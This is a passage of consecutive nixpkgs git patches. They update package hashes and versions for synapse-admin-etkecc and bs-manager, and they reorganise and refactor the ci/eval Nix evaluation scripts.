-      aarch64-linux = "sha256-Hnj6f2HWedLnUEUeg8aM+csUkiLag1rXDI7FXZ8WODc=";
-      x86_64-linux = "sha256-g65xuzcZWlcajrdlbFDD0EpjEi0I/JLunI4XQ8QcSO8=";
+      aarch64-linux = "sha256-X9Kkqe1uA45qB/vM/g6kBIKFJL+8nNEUqqMr9yKrE60=";
+      x86_64-linux = "sha256-XeM+Ve8WxQCiHoS3y7qj4WrBSdT1ESVUbUQIy+ctIG8=";
     }
     .${system} or throwSystem;
 in

From 27522714f935652a33ea4db247d31b4b50a24d4b Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Wed, 3 Sep 2025 12:28:53 +0000
Subject: [PATCH 4218/4511] synapse-admin-etkecc: 0.11.1-etke46 ->
 0.11.1-etke47

Changelog: https://github.com/etkecc/synapse-admin/releases/tag/v0.11.1-etke47
Diff: https://github.com/etkecc/synapse-admin/compare/v0.11.1-etke46...v0.11.1-etke47
(cherry picked from commit 936419471d3a170facdf95cecf8315eb5b59669c)
---
 pkgs/by-name/sy/synapse-admin-etkecc/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/sy/synapse-admin-etkecc/package.nix b/pkgs/by-name/sy/synapse-admin-etkecc/package.nix
index d10e750ba484..72fff5363ebf 100644
--- a/pkgs/by-name/sy/synapse-admin-etkecc/package.nix
+++ b/pkgs/by-name/sy/synapse-admin-etkecc/package.nix
@@ -17,13 +17,13 @@ assert lib.asserts.assertMsg (
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "synapse-admin-etkecc";
-  version = "0.11.1-etke46";
+  version = "0.11.1-etke47";
 
   src = fetchFromGitHub {
     owner = "etkecc";
     repo = "synapse-admin";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-jRz4yST/Uqo2lLNKU/5vtP9pw3kLtgi3Btq5LxO2xOA=";
+    hash = "sha256-pf8g61jKj7nQXgEED3RGZiLHSvoBsYNo+M1cMsRCWnw=";
   };
 
   yarnOfflineCache = fetchYarnDeps {

From 47364ef8f0f9dd743dedd5536aa370e02611091e Mon Sep 17 00:00:00 2001
From: Mistyttm <contact@mistyttm.dev>
Date: Mon, 1 Sep 2025 10:56:46 +1000
Subject: [PATCH 4219/4511] bs-manager: 1.5.3 -> 1.5.4

Also removed patch file as the relevant patch has been merged upstream and is available within this update

(cherry picked from commit 0ada9f41cfc9ea1e98de3e4de94604be96c2d191)
---
 pkgs/by-name/bs/bs-manager/package.nix        | 13 ++----
 .../bs-manager/use-steam-run-for-wine.patch   | 40 -------------------
 2 files changed, 4 insertions(+), 49 deletions(-)
 delete mode 100644 pkgs/by-name/bs/bs-manager/use-steam-run-for-wine.patch

diff --git a/pkgs/by-name/bs/bs-manager/package.nix b/pkgs/by-name/bs/bs-manager/package.nix
index 1c5974b429f8..7c8f1c9dc52e 100644
--- a/pkgs/by-name/bs/bs-manager/package.nix
+++ b/pkgs/by-name/bs/bs-manager/package.nix
@@ -19,20 +19,15 @@
 
 buildNpmPackage (finalAttrs: {
   pname = "bs-manager";
-  version = "1.5.3";
+  version = "1.5.4";
 
   src = fetchFromGitHub {
     owner = "Zagrios";
     repo = "bs-manager";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-thqz6sFmov5py7mUBYUC6ANBgjnNFC1hfLEsaxJVYu8=";
+    hash = "sha256-YitQjhnadQrpdBOV2CUedRNm/RW7/rpXtS9PJTa9kUU=";
   };
 
-  patches = [
-    # https://github.com/Zagrios/bs-manager/pull/870
-    ./use-steam-run-for-wine.patch
-  ];
-
   postPatch = ''
     # don't search for resources in electron's resource directory, but our own
     substituteInPlace src/main/services/utils.service.ts \
@@ -43,13 +38,13 @@ buildNpmPackage (finalAttrs: {
     ln -s ${finalAttrs.passthru.depotdownloader}/bin/DepotDownloader assets/scripts/DepotDownloader
   '';
 
-  npmDepsHash = "sha256-VsCbz7ImDnJ0tonVhA4lOPA0w//tqF4hLhrReLUqYI8=";
+  npmDepsHash = "sha256-3NMqYD7S4wYjwYuGJOmq2/C82qtG1mImsR4crjFLe30=";
 
   extraNpmDeps = fetchNpmDeps {
     name = "bs-manager-${finalAttrs.version}-extra-npm-deps";
     inherit (finalAttrs) src;
     sourceRoot = "${finalAttrs.src.name}/release/app";
-    hash = "sha256-JqDsv9kvYnbJdNwXN1EbppSrFVqr2cSnVhV2+8uw54g=";
+    hash = "sha256-UWsxty1kfxMr5fybtykrN2G+yiQ9dw/bbMwfcVLJgp4=";
   };
 
   makeCacheWritable = true;
diff --git a/pkgs/by-name/bs/bs-manager/use-steam-run-for-wine.patch b/pkgs/by-name/bs/bs-manager/use-steam-run-for-wine.patch
deleted file mode 100644
index 1335a20877b7..000000000000
--- a/pkgs/by-name/bs/bs-manager/use-steam-run-for-wine.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-diff --git a/src/main/services/linux.service.ts b/src/main/services/linux.service.ts
-index 7f92bed..5f12896 100644
---- a/src/main/services/linux.service.ts
-+++ b/src/main/services/linux.service.ts
-@@ -129,12 +129,7 @@ export class LinuxService {
-         return fs.pathExistsSync(protonPath) && fs.pathExistsSync(winePath);
-     }
- 
--    public async getWinePath(): Promise<string> {
--        if (await this.isNixOS()) {
--            // Use system wine for nixos
--            return "wine";
--        }
--
-+    public getWinePath(): string {
-         if (!this.staticConfig.has("proton-folder")) {
-             throw new Error("proton-folder variable not set");
-         }
-diff --git a/src/main/services/mods/bs-mods-manager.service.ts b/src/main/services/mods/bs-mods-manager.service.ts
-index c842fda..60cc190 100644
---- a/src/main/services/mods/bs-mods-manager.service.ts
-+++ b/src/main/services/mods/bs-mods-manager.service.ts
-@@ -162,12 +162,15 @@ export class BsModsManagerService {
-         let winePath: string = "";
-         if (process.platform === "linux") {
-             const { error: winePathError, result: winePathResult } =
--                await tryit(async () => this.linuxService.getWinePath());
-+                tryit(() => this.linuxService.getWinePath());
-             if (winePathError) {
-                 log.error(winePathError);
-                 return false;
-             }
--            winePath = `"${winePathResult}"`;
-+
-+            winePath = await this.linuxService.isNixOS()
-+                ? `steam-run "${winePathResult}"`
-+                : `"${winePathResult}"`;
- 
-             const winePrefix = this.linuxService.getWinePrefixPath();
-             if (!winePrefix) {

From 87af6a62abdc99ff021141e567e93fe4b3ff77be Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 31 Aug 2025 11:05:08 +0200
Subject: [PATCH 4220/4511] top-level/release-outpaths: move to ci/eval

These files are tightly coupled with the code in ci/eval and not used
anywhere else. They are subject to the same backporting requirements as
the remaining CI code. They are better placed next here.

(cherry picked from commit 0d51e920d3307ec0c61a9dc3abf951a87d442523)
---
 .../eval/attrpaths.nix                                |  8 ++++----
 .../eval/chunk.nix                                    |  5 ++---
 ci/eval/default.nix                                   | 11 +++++++----
 .../release-outpaths.nix => ci/eval/outpaths.nix      |  6 +++---
 pkgs/top-level/release.nix                            | 10 ++++------
 5 files changed, 20 insertions(+), 20 deletions(-)
 rename pkgs/top-level/release-attrpaths-superset.nix => ci/eval/attrpaths.nix (92%)
 rename pkgs/top-level/release-outpaths-parallel.nix => ci/eval/chunk.nix (86%)
 rename pkgs/top-level/release-outpaths.nix => ci/eval/outpaths.nix (93%)

diff --git a/pkgs/top-level/release-attrpaths-superset.nix b/ci/eval/attrpaths.nix
similarity index 92%
rename from pkgs/top-level/release-attrpaths-superset.nix
rename to ci/eval/attrpaths.nix
index 80544ced5165..0c571c7be4be 100644
--- a/pkgs/top-level/release-attrpaths-superset.nix
+++ b/ci/eval/attrpaths.nix
@@ -2,7 +2,7 @@
 # *superset* of all attrpaths of derivations which might be
 # part of a release on *any* platform.
 #
-# Both this expression and what ofborg uses (release-outpaths.nix)
+# Both this expression and what ofborg uses (outpaths.nix)
 # are essentially single-threaded (under the current cppnix
 # implementation).
 #
@@ -19,7 +19,7 @@
 #
 # To dump the attrnames:
 #
-#   nix-instantiate --eval --strict --json pkgs/top-level/release-attrpaths-superset.nix -A names
+#   nix-instantiate --eval --strict --json ci/eval/attrpaths.nix -A names
 #
 {
   lib ? import (path + "/lib"),
@@ -81,7 +81,7 @@ let
     in
     if !trace then result else lib.trace "** ${lib.concatStringsSep "." path}" result;
 
-  releaseOutpaths = import ./release-outpaths.nix {
+  outpaths = import ./outpaths.nix {
     inherit checkMeta;
     attrNamesOnly = true;
     inherit path;
@@ -104,7 +104,7 @@ let
       "stdenv"
     ]
   ]
-  ++ justAttrNames [ ] releaseOutpaths;
+  ++ justAttrNames [ ] outpaths;
 
   names = map (path: (lib.concatStringsSep "." path)) paths;
 
diff --git a/pkgs/top-level/release-outpaths-parallel.nix b/ci/eval/chunk.nix
similarity index 86%
rename from pkgs/top-level/release-outpaths-parallel.nix
rename to ci/eval/chunk.nix
index 46d10c6a9504..d61f63e20143 100644
--- a/pkgs/top-level/release-outpaths-parallel.nix
+++ b/ci/eval/chunk.nix
@@ -1,5 +1,4 @@
-# This file works in tandem with ../../ci/eval/default.nix
-# It turns ./release-outpaths.nix into chunks of a fixed size
+# This turns ./outpaths.nix into chunks of a fixed size.
 {
   lib ? import ../../lib,
   path ? ../..,
@@ -16,7 +15,7 @@ let
   attrpaths = lib.importJSON attrpathFile;
   myAttrpaths = lib.sublist (chunkSize * myChunk) chunkSize attrpaths;
 
-  unfiltered = import ./release-outpaths.nix {
+  unfiltered = import ./outpaths.nix {
     inherit path;
     inherit checkMeta includeBroken systems;
   };
diff --git a/ci/eval/default.nix b/ci/eval/default.nix
index 14005ea401af..fd9f7b6b2eb4 100644
--- a/ci/eval/default.nix
+++ b/ci/eval/default.nix
@@ -26,6 +26,11 @@ let
       root = ../..;
       fileset = unions (
         map (lib.path.append ../..) [
+          ".version"
+          "ci/supportedSystems.json"
+          "ci/eval/attrpaths.nix"
+          "ci/eval/chunk.nix"
+          "ci/eval/outpaths.nix"
           "default.nix"
           "doc"
           "lib"
@@ -33,8 +38,6 @@ let
           "modules"
           "nixos"
           "pkgs"
-          ".version"
-          "ci/supportedSystems.json"
         ]
       );
     };
@@ -60,7 +63,7 @@ let
         export GC_INITIAL_HEAP_SIZE=4g
         command time -f "Attribute eval done [%MKB max resident, %Es elapsed] %C" \
           nix-instantiate --eval --strict --json --show-trace \
-            "$src/pkgs/top-level/release-attrpaths-superset.nix" \
+            "$src/ci/eval/attrpaths.nix" \
             -A paths \
             -I "$src" \
             --option restrict-eval true \
@@ -99,7 +102,7 @@ let
         set +e
         command time -o "$outputDir/timestats/$myChunk" \
           -f "Chunk $myChunk on $system done [%MKB max resident, %Es elapsed] %C" \
-          nix-env -f "${nixpkgs}/pkgs/top-level/release-outpaths-parallel.nix" \
+          nix-env -f "${nixpkgs}/ci/eval/chunk.nix" \
           --eval-system "$system" \
           --option restrict-eval true \
           --option allow-import-from-derivation false \
diff --git a/pkgs/top-level/release-outpaths.nix b/ci/eval/outpaths.nix
similarity index 93%
rename from pkgs/top-level/release-outpaths.nix
rename to ci/eval/outpaths.nix
index 18840848c185..9e67da1fe73a 100644
--- a/pkgs/top-level/release-outpaths.nix
+++ b/ci/eval/outpaths.nix
@@ -1,6 +1,6 @@
 #!/usr/bin/env nix-shell
 # When using as a callable script, passing `--argstr path some/path` overrides $PWD.
-#!nix-shell -p nix -i "nix-env -qaP --no-name --out-path --arg checkMeta true -f pkgs/top-level/release-outpaths.nix"
+#!nix-shell -p nix -i "nix-env -qaP --no-name --out-path --arg checkMeta true -f ci/eval/outpaths.nix"
 
 # Vendored from:
 #   https://raw.githubusercontent.com/NixOS/ofborg/74f38efa7ef6f0e8e71ec3bfc675ae4fb57d7491/ofborg/src/outpaths.nix
@@ -9,11 +9,11 @@
   includeBroken ? true, # set this to false to exclude meta.broken packages from the output
   path ? ./../..,
 
-  # used by pkgs/top-level/release-attrnames-superset.nix
+  # used by ./attrpaths.nix
   attrNamesOnly ? false,
 
   # Set this to `null` to build for builtins.currentSystem only
-  systems ? builtins.fromJSON (builtins.readFile ../../ci/supportedSystems.json),
+  systems ? builtins.fromJSON (builtins.readFile ../supportedSystems.json),
 }:
 let
   lib = import (path + "/lib");
diff --git a/pkgs/top-level/release.nix b/pkgs/top-level/release.nix
index b8e015998b5a..2b92aed1c9b3 100644
--- a/pkgs/top-level/release.nix
+++ b/pkgs/top-level/release.nix
@@ -56,12 +56,10 @@
   # resulting tree of attributes to *not* have a ".${system}"
   # suffixed upon every job name like Hydra expects.
   #
-  # This flag exists mainly for use by
-  # pkgs/top-level/release-attrnames-superset.nix; see that file for
-  # full details.  The exact behavior of this flag may change; it
-  # should be considered an internal implementation detail of
-  # pkgs/top-level/.
-  #
+  # This flag exists mainly for use by ci/eval/attrpaths.nix; see
+  # that file for full details.  The exact behavior of this flag
+  # may change; it should be considered an internal implementation
+  # detail of ci/eval.
   attrNamesOnly ? false,
 }:
 

From a24803b26f8d86f8ac5f0475731fe435fa63a04c Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 31 Aug 2025 11:18:08 +0200
Subject: [PATCH 4221/4511] ci/eval: remove ofborg references

By now, these files have been changed enough to not need the "vendored
from" notes anymore. These links would still be there when going through
the history of the file, but today GHA CI has not many similarities
anymore to what ofborg did, so these are not really helpful.

(cherry picked from commit 2aae1425298dc478f02c9f05c01762b656975fd2)
---
 ci/eval/attrpaths.nix           | 15 ++++-----------
 ci/eval/compare/default.nix     |  1 -
 ci/eval/compare/maintainers.nix |  1 -
 ci/eval/outpaths.nix            |  2 --
 4 files changed, 4 insertions(+), 15 deletions(-)

diff --git a/ci/eval/attrpaths.nix b/ci/eval/attrpaths.nix
index 0c571c7be4be..c4e9db24b20e 100644
--- a/ci/eval/attrpaths.nix
+++ b/ci/eval/attrpaths.nix
@@ -2,19 +2,12 @@
 # *superset* of all attrpaths of derivations which might be
 # part of a release on *any* platform.
 #
-# Both this expression and what ofborg uses (outpaths.nix)
-# are essentially single-threaded (under the current cppnix
-# implementation).
-#
-# This expression runs much, much, much faster and uses much, much
-# less memory than the ofborg script by skipping the
-# platform-relevance checks.  The ofborg outpaths.nix script takes
-# half an hour on a 3ghz core and peaks at 60gbytes of memory; this
-# expression runs on the same machine in 44 seconds with peak memory
-# usage of 5gbytes.
+# This expression runs single-threaded under all current Nix
+# implementations, but much faster and with much less memory
+# used than ./outpaths.nix itself.
 #
 # Once you have the list of attrnames you can split it up into
-# $NUM_CORES batches and run the platform checks separately for each
+# $NUM_CORES batches and evaluate the outpaths separately for each
 # batch, in parallel.
 #
 # To dump the attrnames:
diff --git a/ci/eval/compare/default.nix b/ci/eval/compare/default.nix
index cfd9b78510d0..f5c1b1b1dab0 100644
--- a/ci/eval/compare/default.nix
+++ b/ci/eval/compare/default.nix
@@ -105,7 +105,6 @@ let
           ) rebuildsByKernel
           # Set the "11.by: package-maintainer" label to whether all packages directly
           # changed are maintained by the PR's author.
-          # (https://github.com/NixOS/ofborg/blob/df400f44502d4a4a80fa283d33f2e55a4e43ee90/ofborg/src/tagger.rs#L83-L88)
           // {
             "11.by: package-maintainer" =
               maintainers ? ${githubAuthorId}
diff --git a/ci/eval/compare/maintainers.nix b/ci/eval/compare/maintainers.nix
index 488eb0ea9201..d0c5057a0499 100644
--- a/ci/eval/compare/maintainers.nix
+++ b/ci/eval/compare/maintainers.nix
@@ -1,7 +1,6 @@
 {
   lib,
 }:
-# Almost directly vendored from https://github.com/NixOS/ofborg/blob/5a4e743f192fb151915fcbe8789922fa401ecf48/ofborg/src/maintainers.nix
 {
   changedattrs,
   changedpathsjson,
diff --git a/ci/eval/outpaths.nix b/ci/eval/outpaths.nix
index 9e67da1fe73a..a8485af326fc 100644
--- a/ci/eval/outpaths.nix
+++ b/ci/eval/outpaths.nix
@@ -2,8 +2,6 @@
 # When using as a callable script, passing `--argstr path some/path` overrides $PWD.
 #!nix-shell -p nix -i "nix-env -qaP --no-name --out-path --arg checkMeta true -f ci/eval/outpaths.nix"
 
-# Vendored from:
-#   https://raw.githubusercontent.com/NixOS/ofborg/74f38efa7ef6f0e8e71ec3bfc675ae4fb57d7491/ofborg/src/outpaths.nix
 {
   checkMeta,
   includeBroken ? true, # set this to false to exclude meta.broken packages from the output

From d332267042a0853216886acd6a15deff08585a37 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 31 Aug 2025 11:20:54 +0200
Subject: [PATCH 4222/4511] ci/eval/attrpaths: remove left-over condition

This condition doesn't make a difference anymore, ever since we removed
the tryEval code from this file and had already enabled unfree packages
earlier anyway.

(cherry picked from commit 9524a21fe03039b17b259fd95de606118fed6832)
---
 ci/eval/attrpaths.nix | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/ci/eval/attrpaths.nix b/ci/eval/attrpaths.nix
index c4e9db24b20e..365f16da230e 100644
--- a/ci/eval/attrpaths.nix
+++ b/ci/eval/attrpaths.nix
@@ -50,14 +50,6 @@ let
         then
           [ path ]
 
-        # Even wackier case: we have meta.broken==true jobs with
-        # !meta.broken jobs as subattributes with license=unfree, and
-        # check-meta.nix won't throw an "unfree" failure because the
-        # enclosing derivation is marked broken.  Yeah.  Bonkers.
-        # We should just forbid jobsets enclosed by derivations.
-        else if lib.isDerivation value && !value.meta.available then
-          [ ]
-
         else if !(lib.isAttrs value) then
           [ ]
         else

From 3c6789fbed52366ca0a12a92264df6e8581b6710 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 31 Aug 2025 11:24:31 +0200
Subject: [PATCH 4223/4511] ci/eval/attrpaths: refactor

The following changes were made:
- Using `lib.` instead of `builtins.`
- Using `mapAttrsToList` instead of `mapAttrs` + `attrValues`
- Joining two of the if conditions with the same return value
- Using `traceIf` instead of `if` / `else`
- Using `showAttrPath` instead of `concatStringsSep`

(cherry picked from commit 04fcbb45e1af2393c7ac372ed19d30ed5b1dd71f)
---
 ci/eval/attrpaths.nix | 21 +++++++++------------
 1 file changed, 9 insertions(+), 12 deletions(-)

diff --git a/ci/eval/attrpaths.nix b/ci/eval/attrpaths.nix
index 365f16da230e..c56ca5c7a56b 100644
--- a/ci/eval/attrpaths.nix
+++ b/ci/eval/attrpaths.nix
@@ -36,11 +36,13 @@ let
   # attrnames of derivations (!).  We should probably restructure
   # the job tree so that this is not the case.
   #
+  # TODO: Use mapAttrsToListRecursiveCond when this PR lands:
+  # https://github.com/NixOS/nixpkgs/pull/395160
   justAttrNames =
     path: value:
     let
       result =
-        if path == [ "AAAAAASomeThingsFailToEvaluate" ] then
+        if path == [ "AAAAAASomeThingsFailToEvaluate" ] || !(lib.isAttrs value) then
           [ ]
         else if
           lib.isDerivation value
@@ -49,27 +51,22 @@ let
             !(value.__recurseIntoDerivationForReleaseJobs or false)
         then
           [ path ]
-
-        else if !(lib.isAttrs value) then
-          [ ]
         else
           lib.pipe value [
-            (builtins.mapAttrs (
+            (lib.mapAttrsToList (
               name: value:
-              builtins.addErrorContext "while evaluating package set attribute path '${
+              lib.addErrorContext "while evaluating package set attribute path '${
                 lib.showAttrPath (path ++ [ name ])
               }'" (justAttrNames (path ++ [ name ]) value)
             ))
-            builtins.attrValues
-            builtins.concatLists
+            lib.concatLists
           ];
     in
-    if !trace then result else lib.trace "** ${lib.concatStringsSep "." path}" result;
+    lib.traceIf trace "** ${lib.showAttrPath path}" result;
 
   outpaths = import ./outpaths.nix {
-    inherit checkMeta;
+    inherit checkMeta path;
     attrNamesOnly = true;
-    inherit path;
   };
 
   paths = [
@@ -91,7 +88,7 @@ let
   ]
   ++ justAttrNames [ ] outpaths;
 
-  names = map (path: (lib.concatStringsSep "." path)) paths;
+  names = map lib.showAttrPath paths;
 
 in
 {

From 5c22b88f2be3324ac2a9ebe880f23d72c9a0b1c2 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 31 Aug 2025 12:06:59 +0200
Subject: [PATCH 4224/4511] ci/eval: remove unused checkMeta argument

This should always be set anyways.

(cherry picked from commit b627d181e9e5130a460c70f381f8a420297f8426)
---
 ci/eval/attrpaths.nix | 3 +--
 ci/eval/chunk.nix     | 3 +--
 ci/eval/default.nix   | 2 --
 ci/eval/outpaths.nix  | 5 ++---
 4 files changed, 4 insertions(+), 9 deletions(-)

diff --git a/ci/eval/attrpaths.nix b/ci/eval/attrpaths.nix
index c56ca5c7a56b..b198a51c8837 100644
--- a/ci/eval/attrpaths.nix
+++ b/ci/eval/attrpaths.nix
@@ -17,7 +17,6 @@
 {
   lib ? import (path + "/lib"),
   trace ? false,
-  checkMeta ? true,
   path ? ./../..,
 }:
 let
@@ -65,7 +64,7 @@ let
     lib.traceIf trace "** ${lib.showAttrPath path}" result;
 
   outpaths = import ./outpaths.nix {
-    inherit checkMeta path;
+    inherit path;
     attrNamesOnly = true;
   };
 
diff --git a/ci/eval/chunk.nix b/ci/eval/chunk.nix
index d61f63e20143..43c684074602 100644
--- a/ci/eval/chunk.nix
+++ b/ci/eval/chunk.nix
@@ -6,7 +6,6 @@
   attrpathFile,
   chunkSize,
   myChunk,
-  checkMeta,
   includeBroken,
   systems,
 }:
@@ -17,7 +16,7 @@ let
 
   unfiltered = import ./outpaths.nix {
     inherit path;
-    inherit checkMeta includeBroken systems;
+    inherit includeBroken systems;
   };
 
   # Turns the unfiltered recursive attribute set into one that is limited to myAttrpaths
diff --git a/ci/eval/default.nix b/ci/eval/default.nix
index fd9f7b6b2eb4..a379594dbc6d 100644
--- a/ci/eval/default.nix
+++ b/ci/eval/default.nix
@@ -81,7 +81,6 @@ let
       attrpathFile ? "${attrpathsSuperset { inherit evalSystem; }}/paths.json",
       # The number of attributes per chunk, see ./README.md for more info.
       chunkSize ? 5000,
-      checkMeta ? true,
 
       # Don't try to eval packages marked as broken.
       includeBroken ? false,
@@ -113,7 +112,6 @@ let
           --arg myChunk "$myChunk" \
           --arg attrpathFile "${attrpathFile}" \
           --arg systems "[ \"$system\" ]" \
-          --arg checkMeta ${lib.boolToString checkMeta} \
           --arg includeBroken ${lib.boolToString includeBroken} \
           -I ${nixpkgs} \
           -I ${attrpathFile} \
diff --git a/ci/eval/outpaths.nix b/ci/eval/outpaths.nix
index a8485af326fc..4efe8d1dc061 100644
--- a/ci/eval/outpaths.nix
+++ b/ci/eval/outpaths.nix
@@ -1,9 +1,8 @@
 #!/usr/bin/env nix-shell
 # When using as a callable script, passing `--argstr path some/path` overrides $PWD.
-#!nix-shell -p nix -i "nix-env -qaP --no-name --out-path --arg checkMeta true -f ci/eval/outpaths.nix"
+#!nix-shell -p nix -i "nix-env -qaP --no-name --out-path -f ci/eval/outpaths.nix"
 
 {
-  checkMeta,
   includeBroken ? true, # set this to false to exclude meta.broken packages from the output
   path ? ./../..,
 
@@ -28,7 +27,7 @@ let
             allowUnfree = true;
             allowInsecurePredicate = x: true;
             allowVariants = !attrNamesOnly;
-            checkMeta = checkMeta;
+            checkMeta = true;
 
             handleEvalIssue =
               reason: errormsg:

From cc8ee67459adc00f6bd291272589f35489a28f58 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 31 Aug 2025 14:59:47 +0200
Subject: [PATCH 4225/4511] treewide: remove
 __recurseIntoDerivationForReleaseJobs

This attribute was supposed to be set on derivations, to make the
release tools recurse into them. The remaining uses were all on regular
attrsets, though, so this is safe to remove.

(cherry picked from commit d0c0b875f7bbf75a255d5410a356fca3043aee97)
---
 ci/eval/attrpaths.nix                         | 21 +-----------
 pkgs/test/default.nix                         |  4 +--
 pkgs/top-level/all-packages.nix               | 33 ++++++++-----------
 pkgs/top-level/linux-kernels.nix              |  1 -
 pkgs/top-level/pkg-config/tests.nix           |  4 +--
 pkgs/top-level/release-python.nix             |  6 +---
 .../release-unfree-redistributable.nix        |  6 +---
 7 files changed, 18 insertions(+), 57 deletions(-)

diff --git a/ci/eval/attrpaths.nix b/ci/eval/attrpaths.nix
index b198a51c8837..8ebc822ccb0d 100644
--- a/ci/eval/attrpaths.nix
+++ b/ci/eval/attrpaths.nix
@@ -21,20 +21,6 @@
 }:
 let
 
-  # The intended semantics are that an attrpath rooted at pkgs is
-  # part of the (unfiltered) release jobset iff both of the following
-  # are true:
-  #
-  # 1. The attrpath leads to a value for which lib.isDerivation is true
-  #
-  # 2. Any proper prefix of the attrpath at which lib.isDerivation
-  #    is true also has __recurseIntoDerivationForReleaseJobs=true.
-  #
-  # The second condition is unfortunately necessary because there are
-  # Hydra release jobnames which have proper prefixes which are
-  # attrnames of derivations (!).  We should probably restructure
-  # the job tree so that this is not the case.
-  #
   # TODO: Use mapAttrsToListRecursiveCond when this PR lands:
   # https://github.com/NixOS/nixpkgs/pull/395160
   justAttrNames =
@@ -43,12 +29,7 @@ let
       result =
         if path == [ "AAAAAASomeThingsFailToEvaluate" ] || !(lib.isAttrs value) then
           [ ]
-        else if
-          lib.isDerivation value
-          &&
-            # in some places we have *derivations* with jobsets as subattributes, ugh
-            !(value.__recurseIntoDerivationForReleaseJobs or false)
-        then
+        else if lib.isDerivation value then
           [ path ]
         else
           lib.pipe value [
diff --git a/pkgs/test/default.nix b/pkgs/test/default.nix
index 7060e9316542..cb84a3af26a0 100644
--- a/pkgs/test/default.nix
+++ b/pkgs/test/default.nix
@@ -144,9 +144,7 @@ with pkgs;
 
   php = recurseIntoAttrs (callPackages ./php { });
 
-  pkg-config = recurseIntoAttrs (callPackage ../top-level/pkg-config/tests.nix { }) // {
-    __recurseIntoDerivationForReleaseJobs = true;
-  };
+  pkg-config = recurseIntoAttrs (callPackage ../top-level/pkg-config/tests.nix { });
 
   buildRustCrate = callPackage ../build-support/rust/build-rust-crate/test { };
   importCargoLock = callPackage ../build-support/rust/test/import-cargo-lock { };
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 9acd9b96998e..5ab6e3251ff3 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -5574,10 +5574,7 @@ with pkgs;
           haskell.packages.ghc96
         else
           haskell.packages.ghc98
-      )
-    // {
-      __recurseIntoDerivationForReleaseJobs = true;
-    };
+      );
 
   # haskellPackages.ghc is build->host (it exposes the compiler used to build the
   # set, similarly to stdenv.cc), but pkgs.ghc should be host->target to be more
@@ -9490,22 +9487,18 @@ with pkgs;
     }
   );
 
-  libsForQt5 =
-    (recurseIntoAttrs (
-      import ./qt5-packages.nix {
-        inherit
-          lib
-          config
-          __splicedPackages
-          makeScopeWithSplicing'
-          generateSplicesForMkScope
-          pkgsHostTarget
-          ;
-      }
-    ))
-    // {
-      __recurseIntoDerivationForReleaseJobs = true;
-    };
+  libsForQt5 = recurseIntoAttrs (
+    import ./qt5-packages.nix {
+      inherit
+        lib
+        config
+        __splicedPackages
+        makeScopeWithSplicing'
+        generateSplicesForMkScope
+        pkgsHostTarget
+        ;
+    }
+  );
 
   # plasma5Packages maps to the Qt5 packages set that is used to build the plasma5 desktop
   plasma5Packages = libsForQt5;
diff --git a/pkgs/top-level/linux-kernels.nix b/pkgs/top-level/linux-kernels.nix
index 966eaf60ad44..06b4103ea73d 100644
--- a/pkgs/top-level/linux-kernels.nix
+++ b/pkgs/top-level/linux-kernels.nix
@@ -799,7 +799,6 @@ in
       linux_libre = recurseIntoAttrs (packagesFor kernels.linux_libre);
 
       linux_latest_libre = recurseIntoAttrs (packagesFor kernels.linux_latest_libre);
-      __recurseIntoDerivationForReleaseJobs = true;
     }
     // lib.optionalAttrs config.allowAliases {
       linux_4_19_hardened = throw "linux 4.19 was removed because it will reach its end of life within 24.11";
diff --git a/pkgs/top-level/pkg-config/tests.nix b/pkgs/top-level/pkg-config/tests.nix
index 345283f83d81..4f3e6c8fb7cf 100644
--- a/pkgs/top-level/pkg-config/tests.nix
+++ b/pkgs/top-level/pkg-config/tests.nix
@@ -22,7 +22,5 @@ let
   };
 in
 lib.recurseIntoAttrs {
-  defaultPkgConfigPackages = allPkgs.callPackage ./test-defaultPkgConfigPackages.nix { } // {
-    __recurseIntoDerivationForReleaseJobs = true;
-  };
+  defaultPkgConfigPackages = allPkgs.callPackage ./test-defaultPkgConfigPackages.nix { };
 }
diff --git a/pkgs/top-level/release-python.nix b/pkgs/top-level/release-python.nix
index 076e04f44ccd..0fd6b281dbdc 100644
--- a/pkgs/top-level/release-python.nix
+++ b/pkgs/top-level/release-python.nix
@@ -35,11 +35,7 @@ let
       res = builtins.tryEval (
         if isDerivation value then
           value.meta.isBuildPythonPackage or [ ]
-        else if
-          value.recurseForDerivations or false
-          || value.recurseForRelease or false
-          || value.__recurseIntoDerivationForReleaseJobs or false
-        then
+        else if value.recurseForDerivations or false || value.recurseForRelease or false then
           packagePython value
         else
           [ ]
diff --git a/pkgs/top-level/release-unfree-redistributable.nix b/pkgs/top-level/release-unfree-redistributable.nix
index 45940c4d02cc..cf5c8a4d4987 100644
--- a/pkgs/top-level/release-unfree-redistributable.nix
+++ b/pkgs/top-level/release-unfree-redistributable.nix
@@ -69,11 +69,7 @@ let
               value.meta.hydraPlatforms
                 or (lib.subtractLists (value.meta.badPlatforms or [ ]) (value.meta.platforms or [ "x86_64-linux" ]))
             )
-          else if
-            value.recurseForDerivations or false
-            || value.recurseForRelease or false
-            || value.__recurseIntoDerivationForReleaseJobs or false
-          then
+          else if value.recurseForDerivations or false || value.recurseForRelease or false then
             # Recurse
             packagesWith attrPath cond value
           else

From e654129e96cf81fc8876c86174de2bb765562bca Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 31 Aug 2025 21:09:31 +0200
Subject: [PATCH 4226/4511] ci/eval/attrpaths: update cross stdenvs

`pkgsArocc` and `pkgsZig` had been added to `release.nix`, so should be
listed here as well.

